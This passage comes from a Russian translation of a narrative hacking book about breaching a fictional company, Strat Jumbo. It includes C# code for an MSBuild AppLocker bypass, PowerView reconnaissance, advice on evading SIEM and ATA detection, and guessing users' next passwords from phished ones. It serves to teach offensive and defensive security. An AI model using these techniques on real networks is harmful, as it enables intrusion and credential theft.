//  Переопределяем  метод  Execute,  наследуемый  из  интерфейса  Task.  Поток 


выполнения начинается здесь 
public override bool Execute() {
// Вывод приветствия 

Перевод
@Ianuaria
skladchik.com
Console.WriteLine("Executing PS commands");

Console.WriteLine("Press any key to exit...");


Console.ReadKey();

// Конец метода Execute 


return true;
}
}

Далее следует основное содержание кода - фрагмент, в


которым мы инициируем конвейер PowerShell, пушим команды в
этот конвейер и проходим циклом по результирующим выходным
строкам:

// Импорт всех необходимых DLL 


using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Management.Automation;
using System.Management.Automation.Host;
using System.Management.Automation.Runspaces;
using PowerShell = System.Management.Automation.PowerShell;

public class PsCommand : Task, ITask


{

public override bool Execute() {

Console.WriteLine("Executing PS commands");

// Создание конвейера PowerShell. Аналог (command1 | command2 | ...) 


PowerShell Ps_instance = PowerShell.Create();

// Связывание команд в конвейере 


// Мы начинаем с простой команды для вывода, в каком окружении мы 
работаем 
Ps_instance.AddScript("$ExecutionContext.SessionState.Language
Mode");
Ps_instance.AddCommand("out-string");

Перевод
@Ianuaria
skladchik.com
// Вызов конвейера и получение выходных строк 
foreach (string str in Ps_instance.Invoke<string>())
Console.WriteLine(str);
// Конец цикла 

Console.WriteLine("Press any key to exit...");


Console.ReadKey();

// Конец метода Execute 


return true;
}
}

Вы еще здесь? Хорошо. Я поместил полный код на Github на


случай, если вам понадобится скачать и поэкспериментировать с
ним:
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap2/ps
h.xml

Это лучший способ полностью усвоить концепции, которые мы


обсуждаем.

Компиляция и запуск этого файла проекта, содержащего


XML-структуру и C#-код в нашей лабораторной системе
выполняются следующим образом:

Таким образом, наш код работает в режиме Full Language, как


и ожидалось. Пока что все идет хорошо. Он готов к отправке на
XenApp-сервер Strat Jumbo. Мы загружаем его на одну из C2-машин

Перевод
@Ianuaria
skladchik.com
и перемещаем в нашу домашнюю папку (​X:​), используя старый
добрый Firefox.

Далее выполняем ту же команду, что и ранее, только в этот


раз из диалогового окна “Открыть” (Ctrl + O) в Firefox:

Замечательно! Мы добились выполнения команд PowerShell в


режиме Full Language и одновременно обошли Applocker. Вот так
двойная победа!

Используя ту же самую основу кода, что и ранее, мы можем


связать простые команды следующим образом:

Ps_instance.AddCommand("get-process");
Ps_instance.AddCommand("out-string");
Ps_instance.AddStatement();
Ps_instance.AddScript("net user");
Ps_instance.AddStatement();
Ps_instance.AddScript("ls c: | out-string");

Мы используем функцию ​AddCommand для отдельных нативных


командлетов PowerShell (​get-process​, ​start-service и т.д.).
Выполняем ​AddScript для запуска фрагментов скриптов, внешних
бинарников или связывания множества командлетов.
AddStatement()​является аналогом разделителю “;”.

Перевод
@Ianuaria
skladchik.com
Пойманы! 

Хотя это решение и обеспечивает работоспособный обход


имеющихся проблем (Applocker и ограниченный языковой режим),
попросту непрактично пересобирать проект каждый раз, когда мы
запускаем команду. Чтобы решить этот вопрос, мы улучшаем код
предыдущей сборки и включаем PowerShell-подобную консоль,
которая интерактивным образом запускает команды и отображает
выходные данные. Почти как настоящая консоль PowerShell.

Код для подобного проекта можно найти на веб-сайте Microsoft


(​https://docs.microsoft.com/en-us/powershell/developer/windows-powers
hell​). Вопрос лишь в том, чтобы собрать его воедино,
переопределив некоторые классы и методы, и вставить его в шелл
проекта ​ msbuild​, который мы создали ранее.

Я больше не буду комментировать его в этом подразделе,


поскольку он не представляет особого интереса с точки зрения
безопасности, так как используется та же хитрость, что и ранее. Вы
можете скачать полностью рабочий скрипт с Github этой книги:

https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap2/co
nsole.xml

Гораздо лучше! Теперь, когда у нас есть подходящий


пользовательский интерфейс, давайте испытаем скрипт ​PowerView

Перевод
@Ianuaria
skladchik.com
еще раз. Мы загружаем его в память точно таким же образом, как и
ранее, только в этот раз команда проходит как положено:

Хорошо. Возвращаемся к разведке с применением ​PowerView​.

**Примечание** 

В целях упрощения я включил реальные ссылки во фрагменты


кода, использованные в этой книге. В сценарии из реальной жизни
подумайте о хостинге всех скриптов на кастомных доменах, чтобы
снизить степень подозрительности.

**** 

Учитывая размер данных, которые мы собираемся получить,


нам не стоит изучать их сразу; вместо этого, мы будем записывать
результаты во множество файлов и затем загружать их на наш
C2-сервер для тщательного анализа.

Начинаем с команды ​Get-NetUser​, чтобы извлечь


информацию о пользователях:

Интересный атрибут - ​admincount​, так как его значение


увеличивается каждый раз, когда пользователь повышает свои

Перевод
@Ianuaria
skladchik.com
привилегии на машине. Это ненадежно, поскольку привилегии
администратора могут теряться со временем по различным
причинам, но это может помочь нам определить пользователей
домена с привилегиями локального администратора.

ServicePrincipalName поможет нам установить служебные


учетные записи Kerberos, подробнее об этом позже.

Атрибут ​memberof выводит список групп, к которым


присоединен любой заданный пользователь.

И наконец, ​format-table позволяет избежать обрезания


длинных выходных строк, что является дефолтным поведением
PowerShell.

Далее получаем список групп и их членов. Не забудьте, что


нашим самым важным приоритетом является установить
разработчиков, работающих над программным обеспечением Strat
Accounting. Команда ​Get-NetGroup возвращает полный набор
данных, относящихся к группе (дата создания, описание,
уникальный идентификатор объекта, SID и проч.).
Get-NetGroupMember возвращает учетные записи пользователей,
присоединенных к любой заданной группе, указанной в качестве
входных данных:

Мы также получаем объекты групповых политик, которые


описывают домен, такие как политика аудита, политика паролей,
параметры безопасности и так далее - если вкратце, то каждый бит
конфигурации, установленной IT-командой:

Перевод
@Ianuaria
skladchik.com
Наш следующий шаг - вывести список доступных общих
ресурсов, а это одни из наиболее важных ресурсов в домене,
поскольку обычно они содержат ценную информацию, начиная от
паролей и заканчивая действительными бизнес-данными.

Если нам повезет, возможно, код Strat Accounting хранится на


общем ресурсе, доступном для каждого.

Наконец, мы получаем некоторую дополнительную


информацию с текущего сервера Citrix, например, полный список
запущенных процессов и служб:

Мы загружаем эти файлы на наш C2-сервер для тщательного


анализа. Если так получится, что Citrix запретит операции
копирования-вставки, то мы можем использовать
https://ghostbin.com/ или сетап на своем собственном веб-сервере
для получения этих файлов.

Итак, с чего нам начать? Наша основная задача - установить


местонахождение машин и пользователей с доступом к коду Strat
Accounting, так что вполне естественно, что мы начинаем с
принадлежности к группам.

Мы ищем любые ключевые слова в файле ​groups.txt​,


которые могут указывать на команды разработчиков. Записей

Перевод
@Ianuaria
skladchik.com
слишком много, чтобы просматривать их все вручную; речь о
компании с почти 800 сотрудников:

Как видно, Strat Jumbo используют кодовые имена из “Игры


престолов” для своих наиболее крупных проектов по разработке
ПО. Ниже представлен образец членства в группах, основанный на
собранных данных:

SNOW jack.bosa, jake.sparrow...


YGRITTE lizzie.dutch...
CERSEI mozzie.caffrey,lucilla.silvy...
TYRION neil.cobbo...
DAENERYS cassini.morini, carl.sagan...
RHAEGAR janet.mcintyre, rodolpho.schwatz, jim.marrot...
TYWIN tara.tomora...
BAELISH elise.first, anya.ivanova...
TORMUND ron.bilius, richard.darwin, david.stuart...
ARYA laura.stevens, monica.fourb...

Это в определенной степени умно и забавно, однако при этом


добавляет еще одно препятствие, которое необходимо преодолеть.
Достаточно странно, что пользователи, которых удалось развести
посредством фишинговой кампании, по всей видимости, все
принадлежат к этим трем группам: ARYA, TORMUND и RHAEGAR.

Конечно, вопрос на миллион долларов: связаны ли хотя бы


отдаленно все эти проекты со Strat Accounting? Мне кажется, нам
необходимо вернуться обратно и собрать больше информации.
Возможно, мы сможем найти веб-сайт с корпоративной Вики,
PDF-документами на общих ресурсах, архивы электронной почты
или что-то типа того.

Перевод
@Ianuaria
skladchik.com
Перед тем, как это сделать, однако, может быть полезно
оценить уровень безопасности в Strat Jumbo. Какая у них
обстановка: просто дерьмовая или совершенно дерьмовая?

Мы просматриваем отчет по GPO (​gpo.html​), в частности,


вкладки “параметры безопасности” в меню “Данные пользователей”
и “Конфигурация компьютера”:

Пароли меняются каждые 90 дней и должны соответствовать


требованиям по высокой сложности. Пороговое значение
блокировки (lockout threshold) установлено на 10 попыток входа, что
исключает возможность проведения любой автоматизированный
брутфорс-атаки.

Все это достаточно стандартно; однако, кое-что явно


выделяется среди объектов GPO. В Strat Jumbo включено
логирование на полную катушку! Как правило, компании
придерживаются дефолтных политик аудита Windows, при которых
регистрируются лишь несколько типов событий (успешный вход в
систему, неуспешный вход в систему, блокировка учетной записи и
так далее), и даже никогда не задумываются об этом.

В случае со Strat Jumbo, однако, регистрируются и множество


других дополнительных событий Windows, такие как: нарушение
правил доступа к файлам, использование привилегий
администратора (или специальных), изменения в принадлежности к
привилегированными группам, загрузка кода в LSA, манипуляции с
историей SID52 и так далее.

52
​https://adsecurity.org/?p=1772

Перевод
@Ianuaria
skladchik.com
К нашему огорчению, мы замечаем, что Логирование блоков
скриптов PowerShell также включено. Все наши предыдущие
команды были записаны в Диспетчер событий! Тем не менее, не
стоит тревожиться пока что. Логи редко централизованно стекаются
в одно место, не говоря уже про их мониторинг на наличие активных
вредоносных пейлоадов… Вот только по всей видимости, в Strat
Jumbo именно это и происходит!

Логи серверов реплицируются в ответвленную локацию, что


становится понятно по наличию ​nxlog++ (программное обеспечение
для перенаправления логов) в списке активных процессов:

Следует быть осторожными с нашим горизонтальным


продвижением и не оставить слишком широкого следа за собой.
Если нам повезет, эти логи скапливаются ежедневно, а затем
удаляются через месяц без какого-либо минимального анализа.

В случае менее дружелюбного сценария, имеется


вероятность, что наблюдательные ястребы скрупулезно
отслеживают 140-дюймовый экран в режиме 24/7 в ожидании

Перевод
@Ianuaria
skladchik.com
малейшей тревоги, поднятой их навороченным инструментом
мониторинга, основанным на машинном обучении.

Что касается антивирусных решений, кажется, что


единственный активный продукт - это Защитник Windows (Windows
Defender), который является встроенным дефолтным антивирусом
от Microsoft. Вы можете подумать, что обойти его - пара пустяков, но
он еще вызовет определенную головную боль для нас позже.

Давайте на мгновение вспомним, где мы находимся. На


текущий момент мы находимся на сервере Windows 2016,
полностью пропатченном, с хорошей политикой паролей,
включенным Applocker, отключенной встроенной учетной записью
администратора, PowerShell в ограниченном языковом режиме,
кастомная политика аудита, централизованное логирование…

Все-таки, у Strat Jumbo все серьезно, никаких шуток. И все же


вот мы здесь, с рабочим шеллом на их сервере, провели одну из
самых базовых атак: кража паролей. Очередное свидетельство
силы человеческой уязвимости.

И все же, было бы глупо игнорировать предупреждающие


знаки, пульсирующие повсюду вокруг нас. Strat Jumbo далеки от
шуток, когда дело касается информационной безопасности.

Мы свернули не туда, и теперь они будут охотиться на нас как


на кроликов в открытом зеленом поле. И это лишь вершина
айсберга. Могут быть и другие решения, о которых мы не
подозреваем и которые скрываются где-то в глубине
инфраструктуры, например, анализ пакетов, корреляция событий,
поведенческий мониторинг и прочее.

Оглядываясь назад, нужно признать, что мы правильно


сделали, что не сбросили шелл ​Empire​/​Meterpreter на сотню
рабочих станций через фишинговые письма. “Маячковое”

Перевод
@Ianuaria
skladchik.com
поведение (регулярные пакеты на одно и то же доменное имя) было
бы, вероятно, отловлено на сетевом или системном уровне.

Учитывая, что мы гуляем по столь тонкому льду здесь,


давайте не будем оставаться в этом змеином гнезде дольше, чем
это нужно. У нас есть учетные записи, принадлежащие трем
группам разработчиков. Если мы пройдемся по всем их закладкам в
Firefox вместе взятым, логам браузеров и личным папкам, то
должны будем суметь получить какую-либо документацию,
объясняющую, как структурированы команды разработчиков Strat
Jumbo по всему миру, после чего мы сможем нацелиться на тех
пользователей, которые работают над проектом Strat Accounting.

Чтобы сделать это, мы снова подключаемся к серверу Citrix,


используя учетную запись Лауры:

И понимаем, что мы не можем войти. Пароль Лауры отклонен.

Мы пробуем зайти с тремя другими рандомными учетными


данными, полученными в результате фишинга, но лишь получаем
все такое же строгое сообщение об ошибке. Мы могли бы проверить
все 31 оставшихся аккаунта, но я думаю, вы уже начинаете
понимать, что только что произошло.

Где-то за последние 8 часов 4 учетные записи были


заблокированы или, что более вероятно, сброшены. Тайминг
действительно удручающий. Каковы шансы того, что множество

Перевод
@Ianuaria
skladchik.com
учетных записей могут перестать работать за столь короткий
промежуток времени?

Как бы странным это ни казалось, нам нужно начать


рассматривать необычную, но вполне правдоподобную вероятность
того, что Strat Jumbo каким-то образом узнали о нашем вторжении и
решили отреагировать без промедления. И как вы уже наверное
догадались, это совершенно не доброе предзнаменование!

Большой брат следит за тобой 

Как правило, человеческий мозг стремится избавиться от


негативных мыслей, быстро отвлекая себя более обыденными и
радостными вещами. Однако, попадая не по своей воле в резкие и
неприятные условия, мозг неожиданно извергает любые негативные
последствия, которые только может себе представить, погружая вас
в отчаяние и душевные терзания.

Вероятность быть пойманным за руку при попытке взлома


порождает целый ряд сценариев, стремительно проносящихся в
вашей голове, от ночного рейда подразделения быстрого
реагирования до проведения жизни в тюрьме с возможностью
видеть своих детей один раз в год на Рождество через стекло в
комнате для свиданий заключенных.

Но давайте немного охладимся. Именно для того, чтобы


избежать подобных мрачных ситуаций, мы уделили время для
настройки нескольких серверов и маршрутизации трафика через Tor
или надежного VPN-провайдера.

Может быть неудобно сидеть шесть часов на холодном


железнодорожном вокзале или в сетевой кофейне, которая по
иронии пытается справиться со своей единственной миссией в
жизни - приготовлением качественного кофе, но эта цена

Перевод
@Ianuaria
skladchik.com
смехотворно более низкая в сравнении с другим достаточно
вероятным сценарием: получить наручники посередине ночи.

Учитывая анонимность нашей платформы и устойчивость


хакерской инфраструктуры, мы должны быть в относительной
безопасности. Поэтому, давайте не будем волноваться слишком
сильно о возможности попасть за решетку и попробуем вместо
этого понять, что произошло.

Мы запустили чистую спам-кампанию для сбора учетных


данных, используя веб-страницу, которая может быть отображена
лишь один раз. Письмо выдалось подходящим, так как мы собрали
35 паролей. Через 36 часов мы подключились к веб-сайту
экстранета (Citrix), используя приватный сервер в Лондоне, где
находятся и многие сотрудники Strat Jumbo.

К настоящему времени нет ничего излишне подозрительного.


Может быть, фишинговая кампания была обнаружена или о ней
сообщил кто-либо из сотрудников - но если в компаниях начали бы
сбрасывать пароли после каждой попытки фишинга,
высокопоставленные персоны уволили бы весь IT-отдел уже через
несколько недель.

Вдобавок, логи на нашем веб-сервере не показывают никаких


необычных запросов к фишинговой странице. Весь трафик
закончился через 17 часов после старта кампании. Так что
проблема не в этом...

Другой ключевой элемент, который следует держать в уме,


заключается в том, что наш сервер для атаки, находящийся в
Лондоне, не был занесен в черный список после инцидента - у нас
по-прежнему сохранился доступ к платформе Citrix.

Любой нормальный следователь прошел бы по следу учетной


записи Лауры к серверу Citrix и обнаружил бы файл проекта

Перевод
@Ianuaria
skladchik.com
msbuild​, который мы сбросили для обхода ограниченного языкового
режима. Этот элемент ясно указал бы на преступное намерение, и
как следствие произошел бы бан IP, с которого исходило
соединение - наш атакующий сервер.

Но дело обстоит по-другому.

Отдел обеспечения безопасности по всей видимости просто


сбросил пароли в экстренной и оперативной попытке заблокировать
или предотвратить потенциальную атаку. Быстрые и конкретные
действия скорее для избавления от симптомов, чем основной
причины проблемы.

Мы выжидаем несколько дней, чтобы посмотреть, будут ли


приняты какие-либо активные меры по отношению к нашим
IP-адресам (сервер Front Gun и фишинговый веб-сайт). Это даст
нам хорошее представление об их опыте реагирования на
инциденты.

***

...Ничего. Ни единого IP-пакета.

Это хорошо. Давайте продолжим наш ретроспективный


анализ. После посадки на сервер Citrix мы поигрались с правилами
Applocker и вызвали определенное количество ошибок. Может быть,
это привело к срабатыванию тревоги.

Схожим образом, Blue team могли получить наводку, когда мы


потерпели неудачу при запуске ​PowerView в ограниченном
языковом режиме. Эти ошибки вряд ли могли быть
классифицированы как крупные инциденты, но вероятно, эта
информация была зафиксирована каким-либо инструментом
мониторинга, анализирующим логи.

Перевод
@Ianuaria
skladchik.com
Далее следовала фаза ручной разведки. Мы можем исключить
из расчета все локальные команды типа “​ipconfig​”, “​net
localgroup​”, поскольку это нативные команды, которые не
отправляют никакого трафика и как правило не помечаются
средствами обеспечения безопасности (Windows Defender в данном
случае).

С другой стороны, прочие NET команды типа “​ net group


/domain​” и “​net group ‘domain admins’ /domain​” отправляют
сетевые пакеты на контроллер домена (DC). Они запрашивают и
записывают данные на DC через именованный канал SAMR.

Можно считать это файлом на виртуальном общем ресурсе


IPC$ (представленном по умолчанию на всех Windows-машинах)
для обмена данными между рабочей станцией и удаленным
сервером:

Сервер возвращает данные, описывающие объекты


безопасности (учетные записи, группы, домены и т.д.) в формате,
который соответствует протоколу Security Account Manager Remote
Protocol (SAMR):

Перевод
@Ianuaria
skladchik.com
Хотя это и совершенно легитимный способ взаимодействия с
системой, факт в том, что SAMR редко используется в реальных
окружениях. Большая часть middleware и приложений обычно
запрашивают информацию от DC при помощи более
распространенного протокола LDAP.

С другой стороны, IT-администраторы используют команды


Set-ADuser​, относящиеся к PowerShell-модулям
типа ​Get-ADuser и ​
администрирования AD. Эти команды общаются с AD DS Web
Services при помощи SOAP (Web) запросов на порту 9389.

Это может показаться маловероятным, но учитывая их


политики аудита и очень оперативную реакцию, нам не нужно
исключать вероятность того, что Strat Jumbo могут действительно
отслеживать и помечать этот необычный трафик, предназначенный
для их DC.

Эти слабые сигналы (события) были усугублены загрузкой


PowerView и запуском пакетов для полноценной разведки. Помимо
того, что данные команды были занесены в логи, которые
отправились в отдельную локацию, что потенциально могло
привести к их перехвату средством обеспечения безопасности, мы
также выполнили безумно шумную команду “​Invoke-ShareFinder​”.

Этот скрипт проходит циклом по всем машинам в домене


Active Directory и подключается к каждой из них, чтобы вывести
список их общих ресурсов:

foreach ($server in $servers){


$counter = $counter + 1
Write-Verbose "[*] Enumerating server $server ($counter of
$($servers.count))"
[...]
if(-not $NoPing){
$up = Test-Server -Server $server
}
[...]

Перевод
@Ianuaria
skladchik.com
$shares = Get-NetShare -HostName $server
[...]

Мы инициировали так много запросов общих ресурсов,


сколько есть серверов. Отдельный пользователь, неожиданно
открывающий 60, 100 или 200 сетевых сеансов (событие с ​ID ​4624​),
может легко стать причиной, по которой любое средство поднятия
тревоги начнет сигнализировать, что есть мочи.

Это, должно быть, стало последней каплей, побудившей


команду безопасности всерьез задуматься о предыдущих слабых
сигналах, установить некую взаимосвязь и принять решение по
сбросу паролей всех пользователей, “на всякий случай”.

Конечно, это лишь гипотетический сценарий, основанный на


полнейших предположениях, но если нам повезет, мы сможем
частично подтвердить эту информацию, выполнив более
тщательный анализ данных, которые мы получили от Strat Jumbo.

Инструменты управления событиями информационной


безопасности (SIEM), устройства для сетевого мониторинга,
инструменты разведки угроз, средства обнаружения и реагирования
на угрозы для конечных устройств (EDR), глубокий анализ пакетов -
у всего этого “отполированного” софта зачастую имеется консоль
централизованного управления для настройки их политик и
отображения симпатичных панелей управления.

Эти консоли, будучи еще одним корпоративным активом,


часто связываются с Windows Active Directory для аутентификации
администраторов. Это позволяет избежать наличия локальных
общих учетных записей и облегчить управление пользователями
путем помещения администраторов в строго определенные группы.
Для некоторого программного обеспечения требуются даже
доменные учетные записи, чтобы получать информацию о рабочих
станциях, учетных записях пользователей, логах Windows и так
далее.

Перевод
@Ianuaria
skladchik.com
Уже понимаете, к чему я веду? Нам достаточно повезло, и мы
смогли получить учетные данные пользователей и информацию по
группам перед тем, как нас выкинули из сети.

Все, что нужно - это просмотреть их в поиске ключевых слов,


относящихся к потенциальной службе безопасности, широко
известным вендорам безопасности или продуктам анализа логов,
типа “SOC” (Центр управления безопасностью), “threat” (угроза),
“Carbon Black”, “RSA”, “Qradar”, “DarkTrace”, “Vectra”, “SIEM” и так
далее.

Подобный простой поиск по ключевым словам


незамедлительно раскрывает наших настоящих оппонентов:
Microsoft Advanced Threat Analysis53 и Qradar SIEM.54

QRADAR - это инструмент для мониторинга событий


безопасности. Он собирает логи, направленные от различных
систем (Windows, маршрутизаторы, Linux и т.д.) и прогоняет их по
предопределенным правилам безопасности. Администраторы,
например, могут отслеживать следующие хорошо известные
сценарии взлома:

● Успешные аутентификации на множестве устройств с одной


учетной записи.
● Множественные ошибки аутентификации одной и той же
учетной записи.

53
​https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata

54
​https://www.ibm.com/us-en/marketplace/ibm-qradar-siem

Перевод
@Ianuaria
skladchik.com
● Множественные нарушения доступа на чтение на конкретной
машине.
● Сканирование портов (множество запросов на порты одной
или различных машин).
● Изменение локальных или глобальных привилегированных
групп (администраторы домена, администраторы и т.д.).
● Кража учетных данных, отслеживается поиском событий,
связанных с манипуляцией с LSASS (ID событий ​4614​, ​4610​,
4611​и ​4622​).
● И прочее.

Конечно, нам не известно, какие сценарии мониторятся в Strat


Jumbo, но в их число, скорее всего, входят классические
PowerShell-атаки, поскольку они заморочились с включением
логирования блоков скриптов (Script Block Logging).

Нам нужно быть очень осторожными с любыми готовыми


инструментами, так как мы можем быть уверены в том, что у Strat
Jumbo есть программные оповещения об угрозах, чтобы помечать
строки типа “​Powerup​”, “​Invoke-UserHunter​”, “​Powerview​” и так
далее.

Вы думаете, что это плохо? Подождите, пока вы не услышали


о Microsoft ATA.55

Это платформа, которая “подключается” к трафику Windows


Active Directory в поиске подозрительного поведения.

55
https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata

Перевод
@Ianuaria
skladchik.com
Ее анализ основан на двух основных логиках: поведенческий
анализ и сигнатуры популярных атак.

При поведенческом анализе строится базовая модель в


течение месяца изучения и приема нормального трафика AD в
конкретной корпоративной сети. Сюда входит информация, какие
пользователи обычно подключаются к каким машинам, в какое
время, посредством каких протоколов и какие ресурсы обычно
запрашиваются.

По завершении периода обучения любой трафик, который


отклоняется в определенной степени от этой базовой модели,
помечается как подозрительный. Наши последовательные
аутентификации ко множеству машин наверняка заставили
сработать модуль поведенческого анализа.56

Подозрение на кражу идентификационных данных на основе


аномального поведения.
● Сущность выполнила интерактивный вход с 16 аномальных рабочих
станций.

56
​http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day5.html

Перевод
@Ianuaria
skladchik.com
● Запрошен доступ с 5 аномальных ресурсов.

Модуль сигнатур атак работает примерно как антивирусное


решение, но действует на основании запросов, отправляемых на
контроллер домена. ATA ищет признаки, указывающие на одну из
следующих атак:

● Передача зоны DNS.


● Разведка SAMR (вывод списка пользователей, перебор
привилегированных учетных записей и т.д.).
● Pass the hash (воспроизведение NTLM-хеша при помощи
psexec​или ​WMI​).
● Overpass the hash (воспроизведение билетов Kerberos при
помощи NTLM).
● Запросы золотых билетов (подделка TGT-билетов, валидных в
течение 10 лет).
● Перебор сеансов (вывод списка активных пользователей на
машине).
● DCSync (репликация хешей паролей с DC).

Внедрение нестандартных протоколов.


3 учетные записи совершили попытку аутентификации с … на …, используя
внедрение нестандартных протоколов. Это может быть результатом
работы вредоносных инструментов, используемых для проведения атак,
таких как Pass-the-Hash или брутфорс.

Я практически слышу, как вы потрясенно спрашиваете: “Как


вообще нам взломать компанию без pass the hash и DCSync?” Что
ж, это этап, на котором нам нужно проявить определенную
креативность!

Перевод
@Ianuaria
skladchik.com
Одно ясно совершенно точно: атака на Strat Jumbo для
проникновения в G&S Trust не является быстрым и простым путем,
на который мы рассчитывали...

Перевод
@Ianuaria
skladchik.com
 
 
 
 
Обратно на арену 
 
 
 
“Смерть улыбается нам всем, 
всё, что мы можем сделать -  
это улыбнуться ей в ответ” 
 
Марк Аврелий (“Гладиатор”) 

Перевод
@Ianuaria
skladchik.com
Возвращаемся в самое начало. Что ж, не совсем. У нас теперь
есть гораздо более хорошее представление о безопасности Strat
Jumbo и это имеет большое значение. Мы знаем многое о
некоторых ловушках, тщательно расставленных для отлова попыток
вторжения, и мы лучше экипированы, чтобы избежать их.

Хотя мы можем лишь предполагать о том, какое поведение


обучен отслеживать Qradar, мы можем последовать более
практичному подходу к ATA, поскольку Microsoft предлагает
бесплатную триальную версию, которую можно скачать и
установить в лаборатории.

Действительно ли он обнаруживает все техники


pass-the-hash? Как насчет pass-the-ticket? Снятие дампа ​NTDS.DIT​?
А может, нам нужно что-либо подкрутить в имеющихся
инструментах и техниках, чтобы остаться незамеченными?

Нам будет сложно сымитировать активность систем всего Strat


Jumbo. А потому, наше окружение, возможно, будет полезным лишь
для оценки работы модуля сигнатур ATA. У любого атакующего
пейлоада, который мы разработаем, будет предел ошибки - шанс
быть обнаруженным модулем поведенческого анализа.

Мы будем учитывать этот предел ошибки, когда дело дойдет


до наблюдений, которые мы будем выполнять на лету после
попадания в сеть. (Какие учетные записи обычно использует
администратор? Сколько параллельных сеансов на любой заданной
машине? И прочее).

Любая будущая команда, которая может вызвать сетевой


трафик, таким образом, будет сначала запущена в лабораторном
окружении, а лишь потом будет выполняться в сети Strat Jumbo.

Я буду переключаться туда-сюда между этими двумя


окружениями, поэтому чтобы помочь вам уследить за ходом дела,

Перевод
@Ianuaria
skladchik.com
все команды, выполняемые в тестовой лабе, будут снабжены
соответствующим комментарием.

Очевидно, что вся эта работа ни к чему не приведет, если мы


не сможем найти новой способ проникновения в сеть Strat Jumbo.
Так что, давайте сначала решим эту проблему, перед тем, как
начать ломать голову над ATA и QRADAR.

Возвращаемся к кульману. На текущий момент мы имеем:

● 35 недействительных паролей.
● Информация по различным внутренним компонентам:
Windows AD, политика аудита, группы, пользователи и так
далее.
● Основательная предварительная оценка возможностей
мониторинга Strat Jumbo.

Первой реакцией, которая может возникнуть, является запуск


новой фишинговой кампании по той же самой целевой группе, либо,
может быть, изменение содержимого текущего письма, чтобы не
дать возможности команде безопасности узнать о повторной атаке.
Но если вы чувствуете, что сегодня у вас немного авантюрный
настрой, мы можем сделать ставку на короткий путь, который может
помочь нам вернуться прямо в то место, на котором мы
остановились.

Смотрите, если мы внимательно изучим 35 уже собранных


паролей, то проявятся некоторые интригующие паттерны:

● 10 паролей заканчиваются на однозначное число: AkRiV€ra8,


Molly_Dorian5, Ghettome*fair3, ...
● 6 паролей заканчиваются на двузначное число: 5YadorChan09,
GabrielSanta89, LeilaClapton10 и т.д.

Перевод
@Ianuaria
skladchik.com
● 2 пароля заканчиваются специальным символом, за которым
следует буква: BrotherArms_C, WishYouHere*A и т.д.
● 2 пароля содержат название текущего месяца:
Jumbo12March_, MarchStrat%,

Совпадение? Не думаю.

Когда компания расширяет границы правил политики паролей,


принудительно вводя изменение паролей каждые 90 дней,
минимальную длину в 8 символов и 3 класса символов,
человеческий разум обычно начинает противиться подобной форме
морального угнетения

Простая физика.

На каждое действие есть противодействие. Человеческая


память не безгранична. Есть ограниченное количество паролей,
которые человек в состоянии запомнить. Поэтому, чтобы
справиться с психологическим стрессом, вызванным тем маленьким
всплывающим окошком, мелькающим в углу экрана и указывающим
на то, что “пора снова изменить пароль”, люди склонны
придумывать предсказуемые мнемонические правила, например,
увеличивать число на конце (или в начале) пароля, следовать по
алфавиту, включать текущее название месяца и так далее.

Такой порядок действий по иронии нарушает менее известное,


но чрезвычайно важное правило паролей: прямую секретность.
Имеющийся пароль не должен содержать подсказки к другим
паролям, которыми пользуется заданный пользователь.57

Если Strat Jumbo в явной форме не довели до сведения своих


сотрудников о проникновении и не подчеркнули значимость
проведенного жесткого сброса паролей, имеется достаточно

57
Ознакомьтесь с обновленными руководствами NIST по политике паролей:

https://auth0.com/blog/dont-pass-on-the-new-nist-password-guidelines/

Перевод
@Ianuaria
skladchik.com
неплохой шанс, что некоторые пользователи попросту перешли к
следующему паролю по своему списку.

Учитывая, насколько некачественно они отработали по


данному конкретному инциденту (отсутствует блокировка по IP или
запросы к фишинговой странице), весьма маловероятно, что
команда безопасности выполнила надлежащее
форензик-расследование.

Возможно, они заметили пару предупреждений от ATA и


QRadar - достаточных, чтобы заподозрить о том, что происходит
что-то неладное - и приняли решение сбросить все пароли в
качестве превентивной меры. Так что да, нам понадобится толика
везения, но шансы определенно на нашей стороне.

Мы вручную тестируем по пять потенциальных комбинаций


паролей от учетных записей каждый день. Никакой спешки.

Мы не хотим привести в действие какое-либо правило


обнаружения (слишком большое количество неудачных попыток или
один и тот же IP, с которого пробуется несколько учетных записей
за короткий период времени, и т.п.), а еще меньше мы желаем
заблокировать учетную запись. Один, тщательно рассчитанный
подбор пароля для каждой учетной записи - это все, что нам нужно
для проверки нашей гипотезы.

Достаточно скоро мы совершаем удачное попадание: Ron /


AkRiV€ra9 (предыдущий пароль был AkRiV€ra8).

Перевод
@Ianuaria
skladchik.com
Некоторые назвали бы это счастливой случайностью, я
называю это грамотным подбором. Нам нужно было найти как
минимум пару учетных записей, которые придерживаются
собственного повторяющегося паттерна. Люди часто создают
особую связь между своими паролями.

И мы снова в игре! Профиль Рона в Citrix практически пуст.


Никакие документы, связанные с работой, не хранятся в его личной
папке, а Firefox почти дефолтный. Это делает задачу еще более
увлекательной! Наклевывается эскалация привилегий!

Сквозь логи и огонь 

Перед тем, как запустить малейшую команду на этом сервере,


нам нужно выработать рабочую стратегию, чтобы избежать армады
ловушек, разложенных повсюду вокруг нас. Эти ловушки опираются
на множество новейших техник, представленных Microsoft для ее
движка выполнения Windows Management Framework v5 (Windows
10 и 2016 Server), которые призваны противодействовать бурному
развитию скриптовых атак:

● Ограниченный языковой режим запрещает ряд специальных


типов объектов и .NET функций, как мы уже видели ранее:
addtype​, ​new-object​, .NET методы (например,
58
[console]::writeline()​), и так далее.

58
​https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/

Перевод
@Ianuaria
skladchik.com
● Логирование блоков скриптов: любая PowerShell-команда или
скрипт могут быть занесены в своем нешифрованном,
необфусцированном виде в Диспетчер событий (событие
4101​).
● Системное транскрибирование позволяет логировать текст,
набираемый в консоли, а также выходные данные команд. Это
удобная наблюдательная возможность для участников Blue
Team (защитников).
● Фильтр AMSI, который перехватывает каждую команду или
файл, исполняемый через стандартные механизмы
выполнения сценариев (JScript, PowerShell и VBScript).
Антивирус может подключаться к AMSI и решать, блокировать
команду или нет. Это заносит антивирусные продукты в
область сканирования и защиты памяти59, поскольку AMSI
